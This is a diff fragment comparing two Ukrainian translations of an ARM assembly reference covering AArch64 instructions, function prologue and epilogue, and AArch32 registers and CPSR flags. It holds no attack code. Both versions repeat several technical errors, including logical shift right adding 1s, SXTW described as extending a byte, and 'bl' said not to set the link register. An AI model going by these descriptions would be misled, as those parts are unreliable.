* `add x5, x5, #1, lsl #12` — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000
|
* `add x5, x5, #1, lsl #12` — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000
|
||||||
* **`adds`** Це виконує `add` та оновлює прапорці
|
* **`adds`** Це виконує `add` і оновлює прапори
|
||||||
* **`sub`**: **Віднімання** значень двох регістрів та збереження результату в регістрі.
|
* **`sub`**: **Відняти** значення двох реєстрів і зберегти результат у реєстрі.
|
||||||
* Перевірте **синтаксис** **`add`**.
|
* Перевірте **`add`** **синтаксис**.
|
||||||
* Приклад: `sub x0, x1, x2` — Це віднімає значення в `x2` від `x1` та зберігає результат в `x0`.
|
* Приклад: `sub x0, x1, x2` — Це віднімає значення в `x2` від `x1` і зберігає результат в `x0`.
|
||||||
* **`subs`** Це схоже на віднімання, але оновлює прапорці
|
* **`subs`** Це як sub, але оновлює прапор
|
||||||
* **`mul`**: **Помножити** значення **двох регістрів** та зберегти результат в регістрі.
|
* **`mul`**: **Помножити** значення **двох реєстрів** і зберегти результат у реєстрі.
|
||||||
* Приклад: `mul x0, x1, x2` — Це множить значення в `x1` та `x2` та зберігає результат в `x0`.
|
* Приклад: `mul x0, x1, x2` — Це множить значення в `x1` та `x2` і зберігає результат в `x0`.
|
||||||
* **`div`**: **Розділити** значення одного регістра на інший та зберегти результат в регістрі.
|
* **`div`**: **Поділити** значення одного реєстру на інше і зберегти результат у реєстрі.
|
||||||
* Приклад: `div x0, x1, x2` — Це ділить значення в `x1` на `x2` та зберігає результат в `x0`.
|
* Приклад: `div x0, x1, x2` — Це ділить значення в `x1` на `x2` і зберігає результат в `x0`.
|
||||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||||
* **Логічний зсув вліво**: Додавання 0 з кінця, рухаючи інші біти вперед (множення на n-рази 2)
|
* **Логічний зсув вліво**: Додає 0 з кінця, переміщаючи інші біти вперед (множить на n разів 2)
|
||||||
* **Логічний зсув вправо**: Додавання 1 з початку, рухаючи інші біти назад (ділення на n-рази 2 у беззнаковому вигляді)
|
* **Логічний зсув вправо**: Додає 1 на початку, переміщаючи інші біти назад (ділить на n разів 2 в беззнаковому)
|
||||||
* **Арифметичний зсув вправо**: Подібно до **`lsr`**, але замість додавання 0, якщо найбільш значущий біт - 1, \*\*додаються 1 (\*\*ділення на n-рази 2 у знаковому вигляді)
|
* **Арифметичний зсув вправо**: Як **`lsr`**, але замість додавання 0, якщо найзначніший біт - 1, **додаються 1** (ділить на n разів 2 в знаковому)
|
||||||
* **Поворот вправо**: Подібно до **`lsr`**, але все, що видаляється зправа, додається зліва
|
* **Обертання вправо**: Як **`lsr`**, але все, що видаляється з правого боку, додається зліва
|
||||||
* **Поворот вправо з розширенням**: Подібно до **`ror`**, але з прапорцем переносу як "найбільш значущим бітом". Таким чином, прапорець переносу переміщується на біт 31, а видалений біт - у прапорець переносу.
|
* **Обертання вправо з розширенням**: Як **`ror`**, але з прапором переносу як "найзначнішим бітом". Тобто прапор переносу переміщується до біта 31, а видалений біт - до прапора переносу.
|
||||||
* **`bfm`**: **Переміщення бітів поля**, ці операції **копіюють біти `0...n`** зі значення та розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує **найлівіший біт** позиції, а **`#r`** - **кількість правих зсувів**.
|
* **`bfm`**: **Переміщення бітового поля**, ці операції **копіюють біти `0...n`** з значення та розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує на **найлівішу позицію біта**, а **`#r`** - на **кількість обертів вправо**.
|
||||||
* Переміщення бітів поля: `BFM Xd, Xn, #r`
|
* Переміщення бітового поля: `BFM Xd, Xn, #r`
|
||||||
* Підписане переміщення бітів поля: `SBFM Xd, Xn, #r, #s`
|
* Знакове переміщення бітового поля: `SBFM Xd, Xn, #r, #s`
|
||||||
* Непідписане переміщення бітів поля: `UBFM Xd, Xn, #r, #s`
|
* Беззнакове переміщення бітового поля: `UBFM Xd, Xn, #r, #s`
|
||||||
* **Вилучення та вставка бітів поля:** Копіювання бітового поля з регістра та копіювання його в інший регістр.
|
* **Витягування та вставка бітового поля:** Копіює бітове поле з одного реєстру та копіює його в інший реєстр.
|
||||||
* **`BFI X1, X2, #3, #4`** Вставити 4 біти з X2 з 3-го біту X1
|
* **`BFI X1, X2, #3, #4`** Вставити 4 біти з X2 з 3-го біта X1
|
||||||
* **`BFXIL X1, X2, #3, #4`** Витягнути з 3-го біту X2 чотири біти та скопіювати їх в X1
|
* **`BFXIL X1, X2, #3, #4`** Витягнути з 3-го біта X2 чотири біти та скопіювати їх в X1
|
||||||
* **`SBFIZ X1, X2, #3, #4`** Розширити знак 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
* **`SBFIZ X1, X2, #3, #4`** Розширити знак 4 біт з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
||||||
* **`SBFX X1, X2, #3, #4`** Витягти 4 біти, починаючи з біту 3 з X2, розширити знак та помістити результат в X1
|
* **`SBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, розширює їх, і поміщає результат в X1
|
||||||
* **`UBFIZ X1, X2, #3, #4`** Розширити нулями 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
* **`UBFIZ X1, X2, #3, #4`** Нульове розширення 4 біт з X2 та вставка їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
||||||
* **`UBFX X1, X2, #3, #4`** Витягти 4 біти, починаючи з біту 3 з X2 та помістити результат з розширенням нулями в X1.
|
* **`UBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, і поміщає нульове розширене значення в X1.
|
||||||
* **Розширення знаку до X:** Розширює знак (або додає просто 0 у беззнаковій версії) значення для можливості виконання операцій з ним:
|
* **Розширення знака до X:** Розширює знак (або просто додає 0 в беззнаковій версії) значення, щоб мати можливість виконувати з ним операції:
|
||||||
* **`SXTB X1, W2`** Розширює знак байта **з W2 до X1** (`W2` - це половина `X2`) для заповнення 64 бітів
|
* **`SXTB X1, W2`** Розширює знак байта **з W2 до X1** (`W2` - це половина `X2`) для заповнення 64 біт
|
||||||
* **`SXTH X1, W2`** Розширює знак 16-бітного числа **з W2 до X1** для заповнення 64 бітів
|
* **`SXTH X1, W2`** Розширює знак 16-бітного числа **з W2 до X1** для заповнення 64 біт
|
||||||
* **`SXTW X1, W2`** Розширює знак байта **з W2 до X1** для заповнення 64 бітів
|
* **`SXTW X1, W2`** Розширює знак байта **з W2 до X1** для заповнення 64 біт
|
||||||
* **`UXTB X1, W2`** Додає 0 (беззнакове) до байта **з W2 до X1** для заповнення 64 бітів
|
* **`UXTB X1, W2`** Додає 0 (беззнаковий) до байта **з W2 до X1** для заповнення 64 біт
|
||||||
* **`extr`:** Витягує біти з вказаної **пари конкатенованих регістрів**.
|
* **`extr`:** Витягує біти з вказаної **пари реєстрів, що конкатенуються**.
|
||||||
* Приклад: `EXTR W3, W2, W1, #3` Це **конкатенує W1+W2** та отримує **від біту 3 W2 до біту 3 W1** та зберігає це в W3.
|
* Приклад: `EXTR W3, W2, W1, #3` Це **конкатенує W1+W2** і отримує **з біта 3 W2 до біта 3 W1** і зберігає в W3.
|
||||||
* **`cmp`**: **Порівняти** два регістри та встановити умовні прапорці. Це **псевдонім `subs`**, встановлюючи регістр призначення на нульовий регістр. Корисно знати, якщо `m == n`.
|
* **`cmp`**: **Порівняти** два реєстри та встановити умови прапорів. Це **псевдонім для `subs`**, встановлюючи реєстр призначення на нульовий реєстр. Корисно знати, чи `m == n`.
|
||||||
* Підтримує **той самий синтаксис, що й `subs`**
|
* Він підтримує **той же синтаксис, що й `subs`**
|
||||||
* Приклад: `cmp x0, x1` — Це порівнює значення в `x0` та `x1` та встановлює умовні прапорці відповідно.
|
* Приклад: `cmp x0, x1` — Це порівнює значення в `x0` та `x1` і відповідно встановлює умови прапорів.
|
||||||
* **`cmn`**: **Порівняти від'ємне** операнд. У цьому випадку це **псевдонім `adds`** та підтримує той самий синтаксис. Корисно знати, якщо `m == -n`.
|
* **`cmn`**: **Порівняти негативний** операнд. У цьому випадку це **псевдонім для `adds`** і підтримує той же синтаксис. Корисно знати, чи `m == -n`.
|
||||||
* **`ccmp`**: Умовне порівняння, це порівняння, яке буде виконано лише у випадку, якщо попереднє порівняння було істинним та спеціально встановить біти nzcv.
|
* **`ccmp`**: Умовне порівняння, це порівняння, яке буде виконано лише якщо попереднє порівняння було істинним і спеціально встановить біти nzcv.
|
||||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 та x3 < x4, перейти до func
|
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 і x3 < x4, перехід до func
|
||||||
* Це тому, що **`ccmp`** буде виконано лише у випадку, якщо **попередній `cmp` був `NE`**, якщо цього не було, біти `nzcv` будуть встановлені на 0 (що не задовольнить порівняння `blt`).
|
* Це тому, що **`ccmp`** буде виконано лише якщо **попередній `cmp` був `NE`**, якщо ні, біти `nzcv` будуть встановлені в 0 (що не задовольнить порівняння `blt`).
|
||||||
* Це також може бути використано як `ccmn` (таке саме, але від'ємне, як `cmp` проти `cmn`).
|
* Це також може бути використано як `ccmn` (те ж саме, але негативне, як `cmp` проти `cmn`).
|
||||||
* **`tst`**: Він перевіряє, чи обидва значення порівняння рівні 1 (працює як і ANDS без збереження результату десь). Корисно перевірити реєстр зі значенням та перевірити, чи будь-які біти реєстра, вказані в значенні, рівні 1.
|
* **`tst`**: Перевіряє, чи будь-яке з значень порівняння обидва 1 (працює як ANDS без зберігання результату десь). Корисно перевірити реєстр з значенням і перевірити, чи будь-які біти реєстру, вказані в значенні, є 1.
|
||||||
* Приклад: `tst X1, #7` Перевірити, чи будь-які останні 3 біти X1 рівні 1
|
* Приклад: `tst X1, #7` Перевірити, чи будь-які з останніх 3 бітів X1 є 1
|
||||||
* **`teq`**: Операція XOR з відкиданням результату
|
* **`teq`**: Операція XOR, відкидаючи результат
|
||||||
* **`b`**: Безумовний перехід
|
* **`b`**: Безумовний перехід
|
||||||
* Приклад: `b myFunction`
|
* Приклад: `b myFunction`
|
||||||
* Зверніть увагу, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
|
* Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад)
|
||||||
* **`bl`**: **Перехід** з посиланням, використовується для **виклику** **підпрограми**. Зберігає **адресу повернення в `x30`**.
|
* **`bl`**: **Перехід** з посиланням, використовується для **виклику** **підпрограми**. Зберігає **адресу повернення в `x30`**.
|
||||||
* Приклад: `bl myFunction` — Це викликає функцію `myFunction` та зберігає адресу повернення в `x30`.
|
* Приклад: `bl myFunction` — Це викликає функцію `myFunction` і зберігає адресу повернення в `x30`.
|
||||||
* Зверніть увагу, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
|
* Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад)
|
||||||
* **`blr`**: **Перехід** з посиланням на регістр, використовується для **виклику** **підпрограми**, де ціль **вказана** в **регістрі**. Зберігає адресу повернення в `x30`. (Це
|
* **`blr`**: **Перехід** з посиланням на реєстр, використовується для **виклику** **підпрограми**, де ціль **вказана** в **реєстрі**. Зберігає адресу повернення в `x30`. (Це
|
||||||
* Приклад: `blr x1` — Це викликає функцію, адреса якої міститься в `x1`, та зберігає адресу повернення в `x30`.
|
* Приклад: `blr x1` — Це викликає функцію, адреса якої міститься в `x1`, і зберігає адресу повернення в `x30`.
|
||||||
* **`ret`**: **Повернення** з **підпрограми**, зазвичай використовуючи адресу в **`x30`**.
|
* **`ret`**: **Повернення** з **підпрограми**, зазвичай використовуючи адресу в **`x30`**.
|
||||||
* Приклад: `ret` — Це повертається з поточної підпрограми, використовуючи адресу повернення в `x30`.
|
* Приклад: `ret` — Це повертає з поточної підпрограми, використовуючи адресу повернення в `x30`.
|
||||||
* **`b.<cond>`**: Умовні переходи
|
* **`b.<cond>`**: Умовні переходи
|
||||||
* **`b.eq`**: **Перехід, якщо рівно**, на основі попередньої інструкції `cmp`.
|
* **`b.eq`**: **Перехід, якщо рівно**, на основі попередньої інструкції `cmp`.
|
||||||
* Приклад: `b.eq label` — Якщо попередня інструкція `cmp` знайшла два рівні значення, це переходить до `label`.
|
* Приклад: `b.eq label` — Якщо попередня інструкція `cmp` знайшла два рівні значення, це переходить до `label`.
|
||||||
* **`b.ne`**: **Гілка, якщо не рівно**. Ця інструкція перевіряє умовні прапорці (які були встановлені попередньою інструкцією порівняння), і якщо порівнювані значення не рівні, вона переходить на мітку або адресу.
|
* **`b.ne`**: **Перехід, якщо не рівно**. Ця інструкція перевіряє умови прапорів (які були встановлені попередньою інструкцією порівняння), і якщо порівняні значення не були рівні, вона переходить до мітки або адреси.
|
||||||
* Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1` не рівні, це переходить на `label`.
|
* Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1 не рівні, це переходить до `label`.
|
||||||
* **`cbz`**: **Порівняти та гілка на нуль**. Ця інструкція порівнює регістр з нулем, і якщо вони рівні, вона переходить на мітку або адресу.
|
* **`cbz`**: **Порівняти та перейти на нуль**. Ця інструкція порівнює реєстр з нулем, і якщо вони рівні, переходить до мітки або адреси.
|
||||||
* Приклад: `cbz x0, label` — Якщо значення в `x0` дорівнює нулю, це переходить на `label`.
|
* Приклад: `cbz x0, label` — Якщо значення в `x0` нульове, це переходить до `label`.
|
||||||
* **`cbnz`**: **Порівняти та гілка на ненульове значення**. Ця інструкція порівнює регістр з нулем, і якщо вони не рівні, вона переходить на мітку або адресу.
|
* **`cbnz`**: **Порівняти та перейти на ненульове**. Ця інструкція порівнює реєстр з нулем, і якщо вони не рівні, переходить до мітки або адреси.
|
||||||
* Приклад: `cbnz x0, label` — Якщо значення в `x0` не дорівнює нулю, це переходить на `label`.
|
* Приклад: `cbnz x0, label` — Якщо значення в `x0` ненульове, це переходить до `label`.
|
||||||
* **`tbnz`**: Тест біту та гілка на ненульове значення
|
* **`tbnz`**: Перевірити біт і перейти на ненульове
|
||||||
* Приклад: `tbnz x0, #8, label`
|
* Приклад: `tbnz x0, #8, label`
|
||||||
* **`tbz`**: Тест біту та гілка на нуль
|
* **`tbz`**: Перевірити біт і перейти на нуль
|
||||||
* Приклад: `tbz x0, #8, label`
|
* Приклад: `tbz x0, #8, label`
|
||||||
* **Умовні операції вибору**: Це операції, поведінка яких змінюється в залежності від умовних бітів.
|
* **Умовні вибіркові операції**: Це операції, поведінка яких змінюється в залежності від умовних бітів.
|
||||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо істина, X0 = X1, якщо хиба, X0 = X2
|
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо істинно, X0 = X1, якщо хибно, X0 = X2
|
||||||
* `csinc Xd, Xn, Xm, cond` -> Якщо істина, Xd = Xn, якщо хиба, Xd = Xm + 1
|
* `csinc Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = Xm + 1
|
||||||
* `cinc Xd, Xn, cond` -> Якщо істина, Xd = Xn + 1, якщо хиба, Xd = Xn
|
* `cinc Xd, Xn, cond` -> Якщо істинно, Xd = Xn + 1, якщо хибно, Xd = Xn
|
||||||
* `csinv Xd, Xn, Xm, cond` -> Якщо істина, Xd = Xn, якщо хиба, Xd = NOT(Xm)
|
* `csinv Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = NOT(Xm)
|
||||||
* `cinv Xd, Xn, cond` -> Якщо істина, Xd = NOT(Xn), якщо хиба, Xd = Xn
|
* `cinv Xd, Xn, cond` -> Якщо істинно, Xd = NOT(Xn), якщо хибно, Xd = Xn
|
||||||
* `csneg Xd, Xn, Xm, cond` -> Якщо істина, Xd = Xn, якщо хиба, Xd = - Xm
|
* `csneg Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = - Xm
|
||||||
* `cneg Xd, Xn, cond` -> Якщо істина, Xd = - Xn, якщо хиба, Xd = Xn
|
* `cneg Xd, Xn, cond` -> Якщо істинно, Xd = - Xn, якщо хибно, Xd = Xn
|
||||||
* `cset Xd, Xn, Xm, cond` -> Якщо істина, Xd = 1, якщо хиба, Xd = 0
|
* `cset Xd, Xn, Xm, cond` -> Якщо істинно, Xd = 1, якщо хибно, Xd = 0
|
||||||
* `csetm Xd, Xn, Xm, cond` -> Якщо істина, Xd = \<всі 1>, якщо хиба, Xd = 0
|
* `csetm Xd, Xn, Xm, cond` -> Якщо істинно, Xd = \<всі 1>, якщо хибно, Xd = 0
|
||||||
* **`adrp`**: Обчислити **адресу сторінки символу** та зберегти її в регістрі.
|
* **`adrp`**: Обчислити **адресу сторінки символу** та зберегти її в реєстрі.
|
||||||
* Приклад: `adrp x0, symbol` — Це обчислює адресу сторінки `symbol` та зберігає її в `x0`.
|
* Приклад: `adrp x0, symbol` — Це обчислює адресу сторінки символу `symbol` і зберігає її в `x0`.
|
||||||
* **`ldrsw`**: **Завантажити** знакове **32-бітне** значення з пам'яті та **розширити його до 64** бітів.
|
* **`ldrsw`**: **Завантажити** підписане **32-бітне** значення з пам'яті та **розширити його до 64** біт.
|
||||||
* Приклад: `ldrsw x0, [x1]` — Це завантажує знакове 32-бітне значення з місця пам'яті, на яке вказує `x1`, розширює його до 64 бітів та зберігає в `x0`.
|
* Приклад: `ldrsw x0, [x1]` — Це завантажує підписане 32-бітне значення з пам'ятної адреси, на яку вказує `x1`, розширює його до 64 біт і зберігає в `x0`.
|
||||||
* **`stur`**: **Зберегти значення регістра в місце пам'яті**, використовуючи зсув від іншого регістра.
|
* **`stur`**: **Зберегти значення реєстру в пам'ятній адресі**, використовуючи зсув з іншого реєстру.
|
||||||
* Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в місце пам'яті, яке знаходиться на 4 байти більше від адреси, що знаходиться в даний момент в `x1`.
|
* Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в пам'ятній адресі, яка на 4 байти більша, ніж адреса, що зараз в `x1`.
|
||||||
* **`svc`** : Здійснити **системний виклик**. Він означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він **переходить з режиму користувача в режим ядра** та переходить до конкретного місця в пам'яті, де знаходиться код обробки **системного виклику ядра**.
|
* **`svc`** : Зробити **системний виклик**. Це означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він **перемикається з режиму користувача в режим ядра** і переходить до певного місця в пам'яті, де знаходиться **код обробки системних викликів ядра**.
|
||||||
* Приклад:
|
* Приклад:
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
mov x8, 93 ; Завантажити номер системного виклику для виходу (93) в регістр x8.
|
mov x8, 93 ; Завантажити номер системного виклику для виходу (93) в реєстр x8.
|
||||||
mov x0, 0 ; Завантажити код статусу виходу (0) в регістр x0.
|
mov x0, 0 ; Завантажити код статусу виходу (0) в реєстр x0.
|
||||||
svc 0 ; Здійснити системний виклик.
|
svc 0 ; Зробити системний виклик.
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Пролог функції**
|
### **Пролог функції**
|
||||||
|
|
||||||
1. **Зберегти регістр зв'язку та вказівника на фрейм в стек**:
|
1. **Зберегти реєстр зв'язку та вказівник кадру в стек**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```armasm
|
```armasm
|
||||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
2. **Встановіть новий вказівник рамки**: `mov x29, sp` (встановлює новий вказівник рамки для поточної функції)
|
2. **Встановіть новий вказівник кадру**: `mov x29, sp` (встановлює новий вказівник кадру для поточної функції)
|
||||||
3. **Виділіть місце в стеку для локальних змінних** (якщо потрібно): `sub sp, sp, <size>` (де `<size>` - це кількість байтів, необхідних)
|
3. **Виділіть місце в стеку для локальних змінних** (якщо потрібно): `sub sp, sp, <size>` (де `<size>` - це кількість байтів, що потрібні)
|
||||||
|
|
||||||
### **Епілог функції**
|
### **Епілог функції**
|
||||||
|
|
||||||
1. **Звільніть локальні змінні (якщо були виділені)**: `add sp, sp, <size>`
|
1. **Звільніть локальні змінні (якщо вони були виділені)**: `add sp, sp, <size>`
|
||||||
2. **Відновіть регістр посилання та вказівник рамки**:
|
2. **Відновіть регістр посилання та вказівник кадру**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```armasm
|
```armasm
|
||||||
|
@ -260,18 +259,18 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
3. **Повернення**: `ret` (повертає управління викликачу, використовуючи адресу у регістрі посилань)
|
3. **Повернення**: `ret` (повертає управління виклику, використовуючи адресу в регістрі посилань)
|
||||||
|
|
||||||
## Стан виконання AARCH32
|
## Стан виконання AARCH32
|
||||||
|
|
||||||
Armv8-A підтримує виконання програм 32-біт. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може перемикатися між ними за допомогою **`взаємодії`**.\
|
Armv8-A підтримує виконання 32-бітних програм. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може перемикатися між ними через **`interworking`**.\
|
||||||
**Привілейовані** 64-бітні програми можуть планувати **виконання 32-бітних** програм, виконуючи перехід рівня винятку до менш привілейованого 32-бітного.\
|
**Привілейовані** 64-бітні програми можуть планувати **виконання 32-бітних** програм, виконуючи передачу рівня виключення до менш привілейованого 32-бітного.\
|
||||||
Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається з меншим рівнем винятку (наприклад, 64-бітна програма в EL1 спричиняє виконання програми в EL0). Це виконується шляхом встановлення **біту 4** спеціального регістра **`SPSR_ELx`** на **1** тоді, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає програми **`AArch32`** CPSR. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, увійшовши в A32 або T32 в залежності від CPSR\*\*.\*\*
|
Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається знижуючи рівень виключення (наприклад, 64-бітна програма в EL1 викликає програму в EL0). Це робиться шляхом встановлення **біта 4** спеціального регістру **`SPSR_ELx`** **в 1**, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає **CPSR** програм **`AArch32`**. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, входячи в A32 або T32 в залежності від CPSR\*\*.\*\*
|
||||||
|
|
||||||
**`Взаємодія`** відбувається за допомогою бітів J та T CPSR. `J=0` та `T=0` означає **`A32`**, а `J=0` та `T=1` означає **T32**. Це в основному означає встановлення **найнижчого біту на 1**, щоб показати, що набір інструкцій - T32.\
|
**`Interworking`** відбувається за допомогою бітів J та T CPSR. `J=0` та `T=0` означає **`A32`**, а `J=0` та `T=1` означає **T32**. Це в основному означає встановлення **найнижчого біта в 1**, щоб вказати, що набір інструкцій є T32.\
|
||||||
Це встановлюється під час **інструкцій гілки взаємодії**, але також може бути встановлено безпосередньо іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:
|
Це встановлюється під час **інструкцій переходу interworking**, але також може бути встановлено безпосередньо з іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:
|
||||||
|
|
||||||
Інший приклад:
|
Ще один приклад:
|
||||||
```armasm
|
```armasm
|
||||||
_start:
|
_start:
|
||||||
.code 32 ; Begin using A32
|
.code 32 ; Begin using A32
|
||||||
|
@ -282,62 +281,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
||||||
mov r0, #0
|
mov r0, #0
|
||||||
mov r0, #8
|
mov r0, #8
|
||||||
```
|
```
|
||||||
### Реєстри
|
### Registers
|
||||||
|
|
||||||
Є 16 регістрів по 32 біти (r0-r15). **Від r0 до r14** їх можна використовувати для **будь-якої операції**, проте деякі з них зазвичай зарезервовані:
|
Є 16 32-бітних регістрів (r0-r15). **Від r0 до r14** їх можна використовувати для **будь-якої операції**, однак деякі з них зазвичай зарезервовані:
|
||||||
|
|
||||||
* **`r15`**: Лічильник програми (завжди). Містить адресу наступної інструкції. У режимі A32 поточний + 8, у режимі T32, поточний + 4.
|
* **`r15`**: Лічильник програми (завжди). Містить адресу наступної інструкції. В A32 поточний + 8, в T32, поточний + 4.
|
||||||
* **`r11`**: Вказівник рамки
|
* **`r11`**: Вказівник кадру
|
||||||
* **`r12`**: Регістр внутрішньопроцедурного виклику
|
* **`r12`**: Регістр внутрішньопроцедурного виклику
|
||||||
* **`r13`**: Вказівник стеку
|
* **`r13`**: Вказівник стеку
|
||||||
* **`r14`**: Регістр посилання
|
* **`r14`**: Регістр посилання
|
||||||
|
|
||||||
Крім того, регістри резервуються в **`банківських реєстрах`**. Це місця, які зберігають значення регістрів, що дозволяє виконувати **швидку зміну контексту** при обробці винятків та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри кожного разу.\
|
Більше того, регістри зберігаються в **`банківських реєстрах`**. Це місця, які зберігають значення регістрів, що дозволяє виконувати **швидке перемикання контексту** під час обробки виключень та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри щоразу.\
|
||||||
Це виконується шляхом **збереження стану процесора від `CPSR` до `SPSR`** режиму процесора, до якого взято виняток. Під час повернення з винятку, **`CPSR`** відновлюється з **`SPSR`**.
|
Це робиться шляхом **збереження стану процесора з `CPSR` до `SPSR`** режиму процесора, в якому виникає виключення. Під час повернення з виключення, **`CPSR`** відновлюється з **`SPSR`**.
|
||||||
|
|
||||||
### CPSR - Регістр поточного стану програми
|
### CPSR - Реєстр поточного статусу програми
|
||||||
|
|
||||||
У AArch32 CPSR працює аналогічно до **`PSTATE`** в AArch64 і також зберігається в **`SPSR_ELx`** при винятку для подальшого відновлення виконання:
|
В AArch32 CPSR працює подібно до **`PSTATE`** в AArch64 і також зберігається в **`SPSR_ELx`**, коли виникає виключення, щоб пізніше відновити виконання:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Поля поділені на деякі групи:
|
Поля поділені на кілька груп:
|
||||||
|
|
||||||
* Регістр статусу програми застосування (APSR): Арифметичні прапорці та доступні з EL0
|
* Реєстр статусу програми (APSR): Арифметичні прапори та доступні з EL0
|
||||||
* Регістри стану виконання: Поведінка процесу (керована ОС).
|
* Реєстри стану виконання: Поведінка процесу (керується ОС).
|
||||||
|
|
||||||
#### Регістр статусу програми застосування (APSR)
|
#### Реєстр статусу програми (APSR)
|
||||||
|
|
||||||
* Прапорці **`N`**, **`Z`**, **`C`**, **`V`** (так само, як у AArch64)
|
* Прапори **`N`**, **`Z`**, **`C`**, **`V`** (так само, як в AArch64)
|
||||||
* Прапорець **`Q`**: Встановлюється в 1, коли відбувається **насичення цілих чисел** під час виконання спеціалізованої насиченої арифметичної інструкції. Як тільки він встановлений в **`1`**, він буде зберігати значення до тих пір, поки його не буде вручну встановлено на 0. Крім того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно зробити, читаючи його вручну.
|
* Прапор **`Q`**: Він встановлюється в 1, коли **відбувається насичення цілих чисел** під час виконання спеціалізованої арифметичної інструкції з насиченням. Як тільки він встановлений на **`1`**, він зберігатиме значення, поки його не встановлять вручну на 0. Більше того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно робити, читаючи його вручну.
|
||||||
* **`GE`** (Більше або дорівнює) Прапорці: Використовується в операціях SIMD (Одна Інструкція, Багато Даних), таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.
|
* Прапори **`GE`** (Більше або дорівнює): Використовуються в SIMD (Одна інструкція, кілька даних) операціях, таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.
|
||||||
|
|
||||||
Наприклад, інструкція **`UADD8`** **додає чотири пари байтів** (з двох 32-бітних операндів) паралельно і зберігає результати в регістрі 32 біти. Потім **встановлює прапорці `GE` в `APSR`** на основі цих результатів. Кожен прапорець GE відповідає одному з додавань байтів, вказуючи, чи відбулося переповнення додавання для цієї пари байтів.
|
Наприклад, інструкція **`UADD8`** **додає чотири пари байтів** (з двох 32-бітних операндів) паралельно та зберігає результати в 32-бітному регістрі. Потім вона **встановлює прапори `GE` в `APSR`** на основі цих результатів. Кожен прапор GE відповідає одному з додавань байтів, вказуючи, чи додавання для цієї пари байтів **переповнилося**.
|
||||||
|
|
||||||
Інструкція **`SEL`** використовує ці прапорці GE для виконання умовних дій.
|
Інструкція **`SEL`** використовує ці прапори GE для виконання умовних дій.
|
||||||
|
|
||||||
#### Регістри стану виконання
|
#### Реєстри стану виконання
|
||||||
|
|
||||||
* Біти **`J`** та **`T`**: **`J`** повинен бути 0, і якщо **`T`** дорівнює 0, використовується набір інструкцій A32, а якщо 1 - використовується T32.
|
